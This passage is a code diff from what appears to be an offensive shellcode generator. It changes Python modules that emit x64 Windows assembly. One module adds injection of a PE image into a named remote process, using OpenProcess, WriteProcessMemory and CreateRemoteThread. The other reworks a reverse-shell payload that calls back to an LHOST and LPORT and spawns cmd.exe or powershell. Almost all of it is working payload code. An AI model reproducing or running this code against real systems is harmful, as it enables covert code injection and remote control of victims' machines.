self.dependencies = {
|
||||
"Kernel32.dll": [
|
||||
"GetCurrentProcess",
|
||||
"LoadLibraryA",
|
||||
"VirtualAllocEx",
|
||||
"GetProcAddress",
|
||||
"VirtualProtectEx",
|
||||
"CreateRemoteThread",
|
||||
"WaitForSingleObject",
|
||||
],
|
||||
"msvcrt.dll" : [
|
||||
"memset",
|
||||
"memcpy",
|
||||
]
|
||||
}
|
||||
|
||||
self.set_args()
|
||||
|
||||
sc_args = builder.init_sc_args(self.dependencies)
|
||||
sc_args.update({
|
||||
"index" : 0x00,
|
||||
@@ -102,11 +111,65 @@ class Shellcode():
|
||||
"dwSecIndex" : 0x00,
|
||||
})
|
||||
|
||||
if self.process != None:
|
||||
sc_args.update({
|
||||
"ProcessEntry": ctypes.sizeof(tlhelp32._PROCESSENTRY32),
|
||||
"hSnapshot" : 0x00,
|
||||
"pid" : 0x00,
|
||||
})
|
||||
|
||||
self.stack_space = builder.calc_stack_space(sc_args)
|
||||
self.storage_offsets = builder.gen_offsets(sc_args)
|
||||
|
||||
return
|
||||
|
||||
def set_args(self):
|
||||
"""Parse user arguments and set default settings where appropriate
|
||||
"""
|
||||
|
||||
argv_dict = modparser.argument_check(Shellcode.arguments, self.arg_list)
|
||||
argv_dict.update(modparser.argument_check(Shellcode.advanced, self.arg_list))
|
||||
if (argv_dict == None):
|
||||
exit(-1)
|
||||
|
||||
self.exe_stager = extract.read_bytes_from_file(argv_dict["EXE"])
|
||||
if self.exe_stager == None:
|
||||
exit(-1)
|
||||
|
||||
# If we are injecting into a remote process we will need different API's
|
||||
# than if we are injecting into the target process. So, we only resolve
|
||||
# API's that are important to a given technique.
|
||||
if "PROCESS" not in argv_dict.keys():
|
||||
self.process = None
|
||||
self.dependencies["Kernel32.dll"] += "WaitForSingleObject",
|
||||
self.dependencies["Kernel32.dll"] += "GetCurrentProcess",
|
||||
self.dependencies["msvcrt.dll"] += "memcpy",
|
||||
else:
|
||||
self.process = argv_dict["PROCESS"]
|
||||
self.dependencies["Kernel32.dll"] += "CreateToolhelp32Snapshot",
|
||||
self.dependencies["Kernel32.dll"] += "WriteProcessMemory",
|
||||
self.dependencies["Kernel32.dll"] += "Process32First",
|
||||
self.dependencies["Kernel32.dll"] += "Process32Next",
|
||||
self.dependencies["Kernel32.dll"] += "CloseHandle",
|
||||
self.dependencies["Kernel32.dll"] += "OpenProcess",
|
||||
|
||||
# Set the EXITFUNC and update the necessary dependencies
|
||||
self.exit_func = ""
|
||||
if "EXITFUNC" not in argv_dict.keys():
|
||||
self.exit_func = None
|
||||
else:
|
||||
self.exit_func = argv_dict["EXITFUNC"]
|
||||
|
||||
# Update the necessary dependencies
|
||||
if self.exit_func == "terminate":
|
||||
self.dependencies["Kernel32.dll"] += "TerminateProcess",
|
||||
elif self.exit_func == "thread":
|
||||
self.dependencies["ntdll.dll"] = "RtlExitUserThread",
|
||||
elif self.exit_func == "process":
|
||||
self.dependencies["Kernel32.dll"] += "ExitProcess",
|
||||
|
||||
return 0
|
||||
|
||||
def modify_section_perms(self):
|
||||
"""Modify the permissions for each section in the PE file
|
||||
"""
|
||||
@@ -125,8 +188,40 @@ get_lpSectionHeaderArray:
|
||||
|
||||
init_dwSecIndex:
|
||||
xor rax, rax
|
||||
mov [rbp - {self.storage_offsets['dwSecIndex']}], rax
|
||||
mov [rbp - {self.storage_offsets['dwSecIndex']}], rax\n"""
|
||||
|
||||
if self.process != None:
|
||||
stub += f"""
|
||||
copy_section:
|
||||
mov rax, [rbp - {self.storage_offsets['dwSecIndex']}]
|
||||
xor r11, r11
|
||||
mov rdx, [rbp - {self.storage_offsets['lpSectionHeaderArray']}]
|
||||
add rdx, {winnt._IMAGE_SECTION_HEADER.VirtualAddress.offset}
|
||||
mov r11d, [rdx]
|
||||
xor r14, r14
|
||||
mov rdx, [rbp - {self.storage_offsets['lpSectionHeaderArray']}]
|
||||
add rdx, {winnt._IMAGE_SECTION_HEADER.PointerToRawData.offset}
|
||||
mov r14d, [rdx]
|
||||
xor r13, r13
|
||||
mov rdx, [rbp - {self.storage_offsets['lpSectionHeaderArray']}]
|
||||
add rdx, {winnt._IMAGE_SECTION_HEADER.SizeOfRawData.offset}
|
||||
mov r13d, [rdx]
|
||||
mov rcx, [rbp - {self.storage_offsets['lpvLoadedAddress']}]
|
||||
add rcx, r11
|
||||
mov rdx, [rbp - {self.storage_offsets['pResponse']}]
|
||||
add rdx, r14
|
||||
|
||||
xchg rcx, r9
|
||||
mov r8, rdx
|
||||
mov rdx, r9
|
||||
mov r9, r13
|
||||
lea r11, [rsp+0x28]
|
||||
mov [rsp+0x20], r11
|
||||
mov rcx, [rbp - {self.storage_offsets['hProcess']}]
|
||||
mov rax, [rbp - {self.storage_offsets['WriteProcessMemory']}]
|
||||
call rax\n"""
|
||||
else:
|
||||
stub += f"""
|
||||
copy_section:
|
||||
mov rax, [rbp - {self.storage_offsets['dwSecIndex']}]
|
||||
xor r11, r11
|
||||
@@ -147,8 +242,9 @@ copy_section:
|
||||
add rdx, r14
|
||||
mov r8, r13
|
||||
mov rax, [rbp - {self.storage_offsets['memcpy']}]
|
||||
call rax
|
||||
call rax\n"""
|
||||
|
||||
stub += f"""
|
||||
get_mapped_section_size:
|
||||
xor rax, rax
|
||||
mov [rbp - {self.storage_offsets['dwSectionMappedSize']}], rax
|
||||
@@ -305,7 +401,28 @@ check_next_section:
|
||||
"""Write the headers into the newly allocated region
|
||||
"""
|
||||
|
||||
stub = f"""
|
||||
if self.process != None:
|
||||
stub = f"""
|
||||
copy_to_alloc:
|
||||
mov rcx, [rbp - {self.storage_offsets['hProcess']}]
|
||||
|
||||
mov rdx, [rbp - {self.storage_offsets['lpvLoadedAddress']}]
|
||||
|
||||
xor r9, r9
|
||||
mov r11, [rbp - {self.storage_offsets['pNtHeader']}]
|
||||
add r11, {winnt._IMAGE_NT_HEADERS64.OptionalHeader.offset}
|
||||
mov r9d, [r11 + {winnt._IMAGE_OPTIONAL_HEADER64.SizeOfHeaders.offset}]
|
||||
|
||||
mov r8, [rbp - {self.storage_offsets['pResponse']}]
|
||||
|
||||
lea r11, [rsp+0x28]
|
||||
mov [rsp+0x20], r11
|
||||
|
||||
mov rax, [rbp - {self.storage_offsets['WriteProcessMemory']}]
|
||||
|
||||
call rax\n"""
|
||||
else:
|
||||
stub = f"""
|
||||
copy_to_alloc:
|
||||
xor r8, r8
|
||||
mov rax, [rbp - {self.storage_offsets['memcpy']}]
|
||||
@@ -314,8 +431,9 @@ copy_to_alloc:
|
||||
add r11, {winnt._IMAGE_NT_HEADERS64.OptionalHeader.offset}
|
||||
mov r8d, [r11 + {winnt._IMAGE_OPTIONAL_HEADER64.SizeOfHeaders.offset}]
|
||||
mov rdx, [rbp - {self.storage_offsets['pResponse']}]
|
||||
call rax
|
||||
call rax\n"""
|
||||
|
||||
stub += f"""
|
||||
change_permissions:
|
||||
xor rdx, rdx
|
||||
mov r11, [rbp - {self.storage_offsets['pNtHeader']}]
|
||||
@@ -536,9 +654,9 @@ get_dwTableSize:
|
||||
mov rax, {winnt.IMAGE_DIRECTORY_ENTRY_BASERELOC}
|
||||
imul rax, {ctypes.sizeof(winnt._IMAGE_DATA_DIRECTORY)}
|
||||
add rdx, rax
|
||||
xor rcx, rcx ; ^
|
||||
mov ecx, [rdx + {winnt._IMAGE_DATA_DIRECTORY.Size.offset}] ; |
|
||||
mov [rbp - {self.storage_offsets['dwTableSize']}], rcx ; Looks good
|
||||
xor rcx, rcx
|
||||
mov ecx, [rdx + {winnt._IMAGE_DATA_DIRECTORY.Size.offset}]
|
||||
mov [rbp - {self.storage_offsets['dwTableSize']}], rcx
|
||||
|
||||
get_pBaseRelocationTable:
|
||||
mov rcx, [rbp - {self.storage_offsets['dwOffsetToBaseRelocationTable']}]
|
||||
@@ -624,16 +742,99 @@ no_reloc:
|
||||
|
||||
return stub
|
||||
|
||||
def get_pid_of(self, target_proc):
|
||||
"""Obtains the PID of a target process
|
||||
|
||||
:param target_proc: The name of the target process to inject into
|
||||
:type target_proc: str
|
||||
"""
|
||||
|
||||
stub = f"""
|
||||
take_snap:
|
||||
mov rcx, {tlhelp32.TH32CS_SNAPPROCESS}
|
||||
xor rdx, rdx
|
||||
mov rax, [rbp - {self.storage_offsets['CreateToolhelp32Snapshot']}]
|
||||
call rax
|
||||
mov [rbp - {self.storage_offsets['hSnapshot']}], rax
|
||||
|
||||
setup_PROCESSENTRY32:
|
||||
lea rbx, [rbp - {self.storage_offsets['ProcessEntry']}]
|
||||
mov rdi, rbx
|
||||
xor rax, rax
|
||||
mov rcx, {int(ctypes.sizeof(tlhelp32._PROCESSENTRY32)/8)}
|
||||
rep stosq
|
||||
|
||||
mov dword ptr [rbx], {ctypes.sizeof(tlhelp32._PROCESSENTRY32)}
|
||||
|
||||
find_proc:
|
||||
mov rcx, [rbp - {self.storage_offsets['hSnapshot']}]
|
||||
lea rdx, [rbp - {self.storage_offsets['ProcessEntry']}]
|
||||
mov rax, [rbp - {self.storage_offsets['Process32First']}]
|
||||
call rax
|
||||
|
||||
check_proc:
|
||||
lea rdx, [rbp - {self.storage_offsets['ProcessEntry']}]
|
||||
add rdx, {tlhelp32._PROCESSENTRY32.szExeFile.offset}
|
||||
xor rcx, rcx
|
||||
|
||||
begin_check:"""
|
||||
|
||||
for i in range(len(target_proc) - 1):
|
||||
stub += f"""
|
||||
mov cl, {hex(ord(target_proc[i]))}
|
||||
cmp [rdx + {i}], cl
|
||||
jne next_proc_entry"""
|
||||
|
||||
stub += f"""
|
||||
cmp byte ptr [rdx + {len(target_proc) - 1}], {hex(ord(target_proc[len(target_proc)-1]))}
|
||||
je get_pid
|
||||
|
||||
next_proc_entry:
|
||||
mov rax, [rbp - {self.storage_offsets["Process32Next"]}]
|
||||
mov rcx, [rbp - {self.storage_offsets["hSnapshot"]}]
|
||||
lea rdx, [rbp - {self.storage_offsets["ProcessEntry"]}]
|
||||
mov dword ptr [rbx], {ctypes.sizeof(tlhelp32._PROCESSENTRY32)}
|
||||
call rax
|
||||
test rax, rax
|
||||
jnz check_proc
|
||||
|
||||
get_pid:
|
||||
xor rax, rax
|
||||
lea rdx, [rbp - {self.storage_offsets['ProcessEntry']}]
|
||||
add rdx, {tlhelp32._PROCESSENTRY32.th32ProcessID.offset}
|
||||
mov eax, [rdx]
|
||||
mov [rbp - {self.storage_offsets['pid']}], rax
|
||||
|
||||
call_CloseHandle:
|
||||
mov rax, [rbp - {self.storage_offsets['CloseHandle']}]
|
||||
mov rcx, [rbp - {self.storage_offsets['hSnapshot']}]
|
||||
call rax
|
||||
"""
|
||||
|
||||
return stub
|
||||
|
||||
def alloc_image_space(self):
|
||||
"""Create the allocation where the PE will loaded
|
||||
"""
|
||||
|
||||
stub = f"""
|
||||
if (self.process != None):
|
||||
stub = self.get_pid_of(self.process)
|
||||
stub += f"""
|
||||
call_OpenProcess:
|
||||
mov rax, [rbp - {self.storage_offsets['OpenProcess']}]
|
||||
mov rcx, {winnt.PROCESS_ALL_ACCESS}
|
||||
xor rdx, rdx
|
||||
mov r8, [rbp - {self.storage_offsets['pid']}]
|
||||
call rax
|
||||
mov [rbp - {self.storage_offsets['hProcess']}], rax\n"""
|
||||
else:
|
||||
stub = f"""
|
||||
call_GetCurrentProcess:
|
||||
mov rax, [rbp - {self.storage_offsets['GetCurrentProcess']}]
|
||||
call rax
|
||||
mov [rbp - {self.storage_offsets['hProcess']}], rax
|
||||
mov [rbp - {self.storage_offsets['hProcess']}], rax\n"""
|
||||
|
||||
stub += f"""
|
||||
alloc_pe_home:
|
||||
mov rcx, [rbp - {self.storage_offsets['hProcess']}]
|
||||
xor rdx, rdx
|
||||
@@ -658,193 +859,23 @@ alloc_pe_home:
|
||||
|
||||
return stub
|
||||
|
||||
def get_kernel32(self):
|
||||
"""Generates stub for obtaining the base address of Kernel32.dll
|
||||
def gen_main(self):
|
||||
"""Returns assembly source code for the main functionality of the stub
|
||||
"""
|
||||
|
||||
stub = f"""
|
||||
getKernel32:
|
||||
push rbp
|
||||
mov rbp, rsp
|
||||
mov dl, 0x4b
|
||||
getPEB:
|
||||
mov rcx, 0x60
|
||||
mov r8, gs:[rcx]
|
||||
getHeadEntry:
|
||||
mov rdi, [r8 + {winternl._PEB.Ldr.offset}]
|
||||
mov rdi, [rdi + {winternl._PEB_LDR_DATA.InLoadOrderModuleList.offset}]
|
||||
search:
|
||||
xor rcx, rcx
|
||||
mov rax, [rdi + {winternl._LDR_DATA_TABLE_ENTRY.DllBase.offset}]
|
||||
mov rsi, [rdi + {winternl._LDR_DATA_TABLE_ENTRY.BaseDllName.offset + ntdef._UNICODE_STRING.Buffer.offset}]
|
||||
mov rdi, [rdi]
|
||||
cmp [rsi + 0x18], cx
|
||||
jne search
|
||||
cmp [rsi], dl
|
||||
jne search
|
||||
found:
|
||||
leave
|
||||
ret
|
||||
"""
|
||||
|
||||
return stub
|
||||
|
||||
def lookup_function(self):
|
||||
"""Generates the stub responsible for obtaining the base address of a function
|
||||
"""
|
||||
|
||||
stub = f"""
|
||||
lookupFunction:
|
||||
push rbp
|
||||
mov rbp, rsp
|
||||
mov ebx, [rdi + {winnt._IMAGE_DOS_HEADER.e_lfanew.offset}]
|
||||
add rbx, {winnt._IMAGE_NT_HEADERS64.OptionalHeader.offset + winnt._IMAGE_OPTIONAL_HEADER64.DataDirectory.offset}
|
||||
add rbx, rdi
|
||||
mov eax, [rbx]
|
||||
mov rbx, rdi
|
||||
add rbx, rax
|
||||
mov eax, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.AddressOfFunctions.offset}]
|
||||
mov r8, rdi
|
||||
add r8, rax
|
||||
mov rcx, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.NumberOfFunctions.offset}]
|
||||
parseNames:
|
||||
jecxz error
|
||||
dec ecx
|
||||
mov eax, [r8 + rcx * 4]
|
||||
mov rsi, rdi
|
||||
add rsi, rax
|
||||
xor r9, r9
|
||||
xor rax, rax
|
||||
cld
|
||||
calcHash:
|
||||
lodsb
|
||||
test al, al
|
||||
jz calcDone
|
||||
ror r9d, 0xD
|
||||
add r9, rax
|
||||
jmp calcHash
|
||||
calcDone:
|
||||
cmp r9d, edx
|
||||
jnz parseNames
|
||||
findAddress:
|
||||
mov r8d, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.AddressOfNames.offset}]
|
||||
add r8, rdi
|
||||
xor rax, rax
|
||||
mov ax, [r8 + rcx * 2]
|
||||
mov r8d, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.NumberOfNames.offset}]
|
||||
add r8, rdi
|
||||
mov eax, [r8 + rax * 4]
|
||||
add rax, rdi
|
||||
error:
|
||||
leave
|
||||
ret
|
||||
"""
|
||||
|
||||
return stub
|
||||
|
||||
def load_library(self, lib):
|
||||
"""Generates the stub to load a library not currently loaded into a process
|
||||
"""
|
||||
|
||||
lists = convert.from_str_to_xwords(lib)
|
||||
write_index = self.storage_offsets['functionName']
|
||||
|
||||
src = "\nload_library_{}:\n".format(lib.rstrip(".dll"))
|
||||
|
||||
for i in range(len(lists["QWORD_LIST"])):
|
||||
src += " mov rcx, 0x{}\n".format( struct.pack('<Q', lists["QWORD_LIST"][i]).hex() )
|
||||
src += " mov [rbp-{}], rcx\n".format(hex(write_index))
|
||||
write_index -= 8
|
||||
|
||||
for i in range(len(lists["DWORD_LIST"])):
|
||||
src += " mov ecx, dword 0x{}\n".format( struct.pack('<L', lists["DWORD_LIST"][i]).hex() )
|
||||
src += " mov [rbp-{}], ecx\n".format(hex(write_index))
|
||||
write_index -= 4
|
||||
|
||||
for i in range(len(lists["WORD_LIST"])):
|
||||
src += " mov cx, 0x{}\n".format( struct.pack('<H', lists["WORD_LIST"][i]).hex() )
|
||||
src += " mov [rbp-{}], cx\n".format(hex(write_index))
|
||||
write_index -= 2
|
||||
|
||||
for i in range(len(lists["BYTE_LIST"])):
|
||||
src += " mov cl, {}\n".format( hex(lists["BYTE_LIST"][i]) )
|
||||
src += " mov [rbp-{}], cl\n".format(hex(write_index))
|
||||
write_index -= 1
|
||||
|
||||
src += f"""
|
||||
xor rcx, rcx
|
||||
mov [rbp-{write_index}], cl
|
||||
lea rcx, [rbp - {self.storage_offsets['functionName']}]
|
||||
mov rax, [rbp - {self.storage_offsets['LoadLibraryA']}]
|
||||
call rax
|
||||
"""
|
||||
|
||||
return src
|
||||
|
||||
def resolve_functions(self):
|
||||
"""This function is responsible for loading all libraries and resolving respective functions
|
||||
"""
|
||||
|
||||
stub = ""
|
||||
for lib, imports in self.dependencies.items():
|
||||
if (lib != "Kernel32.dll"):
|
||||
stub += self.load_library(lib)
|
||||
stub += """
|
||||
mov rdi, rax
|
||||
"""
|
||||
|
||||
for func in range(len(imports)):
|
||||
stub += f"""
|
||||
get_{imports[func]}:
|
||||
mov rdx, {convert.from_str_to_win_hash(imports[func])}
|
||||
call lookupFunction
|
||||
mov [rbp - {self.storage_offsets[imports[func]]}], rax
|
||||
"""
|
||||
|
||||
return stub
|
||||
|
||||
def generate_source(self):
|
||||
"""Returns bytecode generated by the keystone engine.
|
||||
"""
|
||||
|
||||
argv_dict = modparser.argument_check(Shellcode.arguments, self.arg_list)
|
||||
if (argv_dict == None):
|
||||
exit(-1)
|
||||
|
||||
self.exe_stager = extract.read_bytes_from_file(argv_dict["EXE"])
|
||||
if self.exe_stager == None:
|
||||
exit(-1)
|
||||
|
||||
shellcode = f"""
|
||||
_start:
|
||||
push rbp
|
||||
mov rbp, rsp
|
||||
sub rsp, {self.stack_space}
|
||||
and rsp, 0xfffffffffffffff0
|
||||
|
||||
call getKernel32
|
||||
mov rdi, rax
|
||||
"""
|
||||
|
||||
shellcode += self.resolve_functions()
|
||||
|
||||
shellcode += f"""
|
||||
src = f"""
|
||||
load_exe_file:
|
||||
lea rax, [rip + exe_file]
|
||||
mov [rbp - {self.storage_offsets['pResponse']}], rax
|
||||
"""
|
||||
|
||||
shellcode += self.alloc_image_space()
|
||||
src += self.alloc_image_space()
|
||||
src += self.rebase_pe()
|
||||
src += self.load_imports()
|
||||
src += self.write_headers()
|
||||
src += self.modify_section_perms()
|
||||
|
||||
shellcode += self.rebase_pe()
|
||||
|
||||
shellcode += self.load_imports()
|
||||
|
||||
shellcode += self.write_headers()
|
||||
|
||||
shellcode += self.modify_section_perms()
|
||||
|
||||
shellcode += f"""
|
||||
src += f"""
|
||||
call_CreateRemoteThread:
|
||||
xor r9, r9
|
||||
mov r8, [rbp - {self.storage_offsets['pNtHeader']}]
|
||||
@@ -861,35 +892,33 @@ call_CreateRemoteThread:
|
||||
xor r8, r8
|
||||
mov rax, [rbp - {self.storage_offsets['CreateRemoteThread']}]
|
||||
mov rcx, [rbp - {self.storage_offsets['hProcess']}]
|
||||
call rax
|
||||
call rax\n"""
|
||||
|
||||
if self.process == None:
|
||||
src += f"""
|
||||
call_WaitForSingleObject:
|
||||
mov rcx, rax
|
||||
xor rdx, rdx
|
||||
dec rdx
|
||||
mov rax, [rbp - {self.storage_offsets['WaitForSingleObject']}]
|
||||
call rax
|
||||
ret
|
||||
"""
|
||||
call rax\n"""
|
||||
|
||||
shellcode += self.get_kernel32()
|
||||
|
||||
shellcode += self.lookup_function()
|
||||
|
||||
shellcode += self.rva_to_offset()
|
||||
|
||||
shellcode += """
|
||||
exe_file:
|
||||
"""
|
||||
|
||||
return shellcode
|
||||
return src
|
||||
|
||||
def get_shellcode(self):
|
||||
"""Generates shellcode
|
||||
"""
|
||||
|
||||
generator = Assembler(Shellcode.arch)
|
||||
src = self.generate_source()
|
||||
win_stubs = stubhub.WinRawr(self.storage_offsets,
|
||||
self.dependencies,
|
||||
self.stack_space,
|
||||
self.exit_func)
|
||||
|
||||
main_src = self.gen_main()
|
||||
src = win_stubs.gen_source(main_src)
|
||||
src += self.rva_to_offset()
|
||||
src += "exe_file:\n"
|
||||
|
||||
shellcode = generator.get_bytes_from_asm(src)
|
||||
shellcode += self.exe_stager
|
||||
|
||||
@@ -5,14 +5,12 @@ import struct
|
||||
from sickle.common.lib.generic import convert
|
||||
from sickle.common.lib.generic import modparser
|
||||
from sickle.common.lib.programmer import builder
|
||||
from sickle.common.lib.programmer import stubhub
|
||||
|
||||
from sickle.common.lib.reversing.assembler import Assembler
|
||||
|
||||
from sickle.common.headers.windows import (
|
||||
winnt,
|
||||
ntdef,
|
||||
ws2def,
|
||||
winternl,
|
||||
winsock2,
|
||||
processthreadsapi
|
||||
)
|
||||
@@ -55,6 +53,19 @@ class Shellcode():
|
||||
arguments["LPORT"]["optional"] = "yes"
|
||||
arguments["LPORT"]["description"] = "Listening port on listener host"
|
||||
|
||||
arguments["SHELL"] = {}
|
||||
arguments["SHELL"]["optional"] = "yes"
|
||||
arguments["SHELL"]["description"] = "Shell environment (powershell.exe, cmd.exe, etc)"
|
||||
|
||||
advanced = {}
|
||||
advanced["EXITFUNC"] = {}
|
||||
advanced["EXITFUNC"]["optional"] = "yes"
|
||||
advanced["EXITFUNC"]["description"] = "Exit technique"
|
||||
advanced["EXITFUNC"]["options"] = { "terminate": "Terminates the process and all of its threads",
|
||||
"func": "Have the shellcode operate as function",
|
||||
"thread": "Exit as a thread",
|
||||
"process": "Exit as a process" }
|
||||
|
||||
def __init__(self, arg_object):
|
||||
|
||||
self.arg_list = arg_object["positional arguments"]
|
||||
@@ -63,7 +74,6 @@ class Shellcode():
|
||||
"Kernel32.dll": [
|
||||
"LoadLibraryA",
|
||||
"CreateProcessA",
|
||||
"TerminateProcess",
|
||||
],
|
||||
"Ws2_32.dll": [
|
||||
"WSAStartup",
|
||||
@@ -72,197 +82,80 @@ class Shellcode():
|
||||
],
|
||||
}
|
||||
|
||||
self.set_args()
|
||||
|
||||
sc_args = builder.init_sc_args(self.dependencies)
|
||||
sc_args.update({
|
||||
"wsaData" : 0x00,
|
||||
"name" : 0x00,
|
||||
"lpStartInfo" : ctypes.sizeof(processthreadsapi._STARTUPINFOA),
|
||||
"lpCommandLine" : len("cmd\x00\x00\x00\x00\x00"),
|
||||
"lpCommandLine" : self.shell_env_len,
|
||||
"lpProcessInformation" : 0x00,
|
||||
})
|
||||
})
|
||||
|
||||
self.stack_space = builder.calc_stack_space(sc_args)
|
||||
self.storage_offsets = builder.gen_offsets(sc_args)
|
||||
|
||||
return
|
||||
|
||||
def get_kernel32(self):
|
||||
"""Generates stub for obtaining the base address of Kernel32.dll
|
||||
def set_args(self):
|
||||
"""Configure the arguments that may be used by the shellcode stub
|
||||
"""
|
||||
|
||||
stub = f"""
|
||||
getKernel32:
|
||||
push rbp
|
||||
mov rbp, rsp
|
||||
mov dl, 0x4b
|
||||
getPEB:
|
||||
mov rcx, 0x60
|
||||
mov r8, gs:[rcx]
|
||||
getHeadEntry:
|
||||
mov rdi, [r8 + {winternl._PEB.Ldr.offset}]
|
||||
mov rdi, [rdi + {winternl._PEB_LDR_DATA.InLoadOrderModuleList.offset}]
|
||||
search:
|
||||
xor rcx, rcx
|
||||
mov rax, [rdi + {winternl._LDR_DATA_TABLE_ENTRY.DllBase.offset}]
|
||||
mov rsi, [rdi + {winternl._LDR_DATA_TABLE_ENTRY.BaseDllName.offset + ntdef._UNICODE_STRING.Buffer.offset}]
|
||||
mov rdi, [rdi]
|
||||
cmp [rsi + 0x18], cx
|
||||
jne search
|
||||
cmp [rsi], dl
|
||||
jne search
|
||||
found:
|
||||
leave
|
||||
ret
|
||||
"""
|
||||
|
||||
return stub
|
||||
|
||||
def lookup_function(self):
|
||||
"""Generates the stub responsible for obtaining the base address of a function
|
||||
"""
|
||||
|
||||
stub = f"""
|
||||
lookupFunction:
|
||||
push rbp
|
||||
mov rbp, rsp
|
||||
mov ebx, [rdi + {winnt._IMAGE_DOS_HEADER.e_lfanew.offset}]
|
||||
add rbx, {winnt._IMAGE_NT_HEADERS64.OptionalHeader.offset + winnt._IMAGE_OPTIONAL_HEADER64.DataDirectory.offset}
|
||||
add rbx, rdi
|
||||
mov eax, [rbx]
|
||||
mov rbx, rdi
|
||||
add rbx, rax
|
||||
mov eax, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.AddressOfFunctions.offset}]
|
||||
mov r8, rdi
|
||||
add r8, rax
|
||||
mov rcx, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.NumberOfFunctions.offset}]
|
||||
parseNames:
|
||||
jecxz error
|
||||
dec ecx
|
||||
mov eax, [r8 + rcx * 4]
|
||||
mov rsi, rdi
|
||||
add rsi, rax
|
||||
xor r9, r9
|
||||
xor rax, rax
|
||||
cld
|
||||
calcHash:
|
||||
lodsb
|
||||
test al, al
|
||||
jz calcDone
|
||||
ror r9d, 0xD
|
||||
add r9, rax
|
||||
jmp calcHash
|
||||
calcDone:
|
||||
cmp r9d, edx
|
||||
jnz parseNames
|
||||
findAddress:
|
||||
mov r8d, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.AddressOfNames.offset}]
|
||||
add r8, rdi
|
||||
xor rax, rax
|
||||
mov ax, [r8 + rcx * 2]
|
||||
mov r8d, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.NumberOfNames.offset}]
|
||||
add r8, rdi
|
||||
mov eax, [r8 + rax * 4]
|
||||
add rax, rdi
|
||||
error:
|
||||
leave
|
||||
ret
|
||||
"""
|
||||
|
||||
return stub
|
||||
|
||||
def load_library(self, lib):
|
||||
"""Generates the stub to load a library not currently loaded into a process
|
||||
"""
|
||||
|
||||
lists = convert.from_str_to_xwords(lib)
|
||||
write_index = self.storage_offsets['functionName']
|
||||
|
||||
src = "\nload_library_{}:\n".format(lib.rstrip(".dll"))
|
||||
|
||||
for i in range(len(lists["QWORD_LIST"])):
|
||||
src += " mov rcx, 0x{}\n".format( struct.pack('<Q', lists["QWORD_LIST"][i]).hex() )
|
||||
src += " mov [rbp-{}], rcx\n".format(hex(write_index))
|
||||
write_index -= 8
|
||||
|
||||
for i in range(len(lists["DWORD_LIST"])):
|
||||
src += " mov ecx, dword 0x{}\n".format( struct.pack('<L', lists["DWORD_LIST"][i]).hex() )
|
||||
src += " mov [rbp-{}], ecx\n".format(hex(write_index))
|
||||
write_index -= 4
|
||||
|
||||
for i in range(len(lists["WORD_LIST"])):
|
||||
src += " mov cx, 0x{}\n".format( struct.pack('<H', lists["WORD_LIST"][i]).hex() )
|
||||
src += " mov [rbp-{}], cx\n".format(hex(write_index))
|
||||
write_index -= 2
|
||||
|
||||
for i in range(len(lists["BYTE_LIST"])):
|
||||
src += " mov cl, {}\n".format( hex(lists["BYTE_LIST"][i]) )
|
||||
src += " mov [rbp-{}], cl\n".format(hex(write_index))
|
||||
write_index -= 1
|
||||
|
||||
src += f"""
|
||||
xor rcx, rcx
|
||||
mov [rbp-{write_index}], cl
|
||||
lea rcx, [rbp - {self.storage_offsets['functionName']}]
|
||||
mov rax, [rbp - {self.storage_offsets['LoadLibraryA']}]
|
||||
call rax
|
||||
"""
|
||||
|
||||
return src
|
||||
|
||||
def resolve_functions(self):
|
||||
"""This function is responsible for loading all libraries and resolving respective functions
|
||||
"""
|
||||
|
||||
stub = ""
|
||||
for lib, imports in self.dependencies.items():
|
||||
if (lib != "Kernel32.dll"):
|
||||
stub += self.load_library(lib)
|
||||
stub += """
|
||||
mov rdi, rax
|
||||
"""
|
||||
|
||||
for func in range(len(imports)):
|
||||
stub += f"""
|
||||
get_{imports[func]}:
|
||||
mov rdx, {convert.from_str_to_win_hash(imports[func])}
|
||||
call lookupFunction
|
||||
mov [rbp - {self.storage_offsets[imports[func]]}], rax
|
||||
"""
|
||||
|
||||
return stub
|
||||
|
||||
def generate_source(self):
|
||||
"""Returns bytecode generated by the keystone engine.
|
||||
"""
|
||||
|
||||
argv_dict = modparser.argument_check(Shellcode.arguments, self.arg_list)
|
||||
all_args = Shellcode.arguments
|
||||
all_args.update(Shellcode.advanced)
|
||||
argv_dict = (modparser.argument_check(all_args, self.arg_list))
|
||||
if (argv_dict == None):
|
||||
exit(-1)
|
||||
|
||||
if ("LPORT" not in argv_dict.keys()):
|
||||
lport = 4444
|
||||
# Set the shell environment that will be used by the shellcode. We must
|
||||
# ensure to NULL terminate it.
|
||||
if "SHELL" not in argv_dict.keys():
|
||||
self.shell = "cmd.exe"
|
||||
else:
|
||||
lport = int(argv_dict["LPORT"])
|
||||
self.shell = argv_dict["SHELL"]
|
||||
|
||||
self.shell += "\x00"
|
||||
while (len(self.shell) % 8) != 0:
|
||||
self.shell += "\x00"
|
||||
|
||||
sin_addr = hex(convert.ip_str_to_inet_addr(argv_dict['LHOST']))
|
||||
sin_port = struct.pack('<H', lport).hex()
|
||||
# Document the size of the shell environment
|
||||
self.shell_env_len = len(self.shell)
|
||||
|
||||
# Configure the options used by the host to obtain the callback
|
||||
if "LPORT" not in argv_dict.keys():
|
||||
self.lport = 4242
|
||||
else:
|
||||
self.lport = int(argv_dict["LPORT"])
|
||||
|
||||
self.lhost = argv_dict['LHOST']
|
||||
|
||||
# Set the EXITFUNC and update the necessary dependencies
|
||||
self.exit_func = ""
|
||||
if "EXITFUNC" not in argv_dict.keys():
|
||||
self.exit_func = "terminate"
|
||||
else:
|
||||
self.exit_func = argv_dict["EXITFUNC"]
|
||||
|
||||
if self.exit_func == "terminate":
|
||||
self.dependencies["Kernel32.dll"] += "TerminateProcess",
|
||||
elif self.exit_func == "thread":
|
||||
self.dependencies["ntdll.dll"] = "RtlExitUserThread",
|
||||
elif self.exit_func == "process":
|
||||
self.dependencies["Kernel32.dll"] += "ExitProcess",
|
||||
|
||||
return 0
|
||||
|
||||
def gen_main(self):
|
||||
"""Returns assembly source code for the main functionality of the stub
|
||||
"""
|
||||
|
||||
# Setup the members of the sockaddr structure
|
||||
sin_port = struct.pack('<H', self.lport).hex()
|
||||
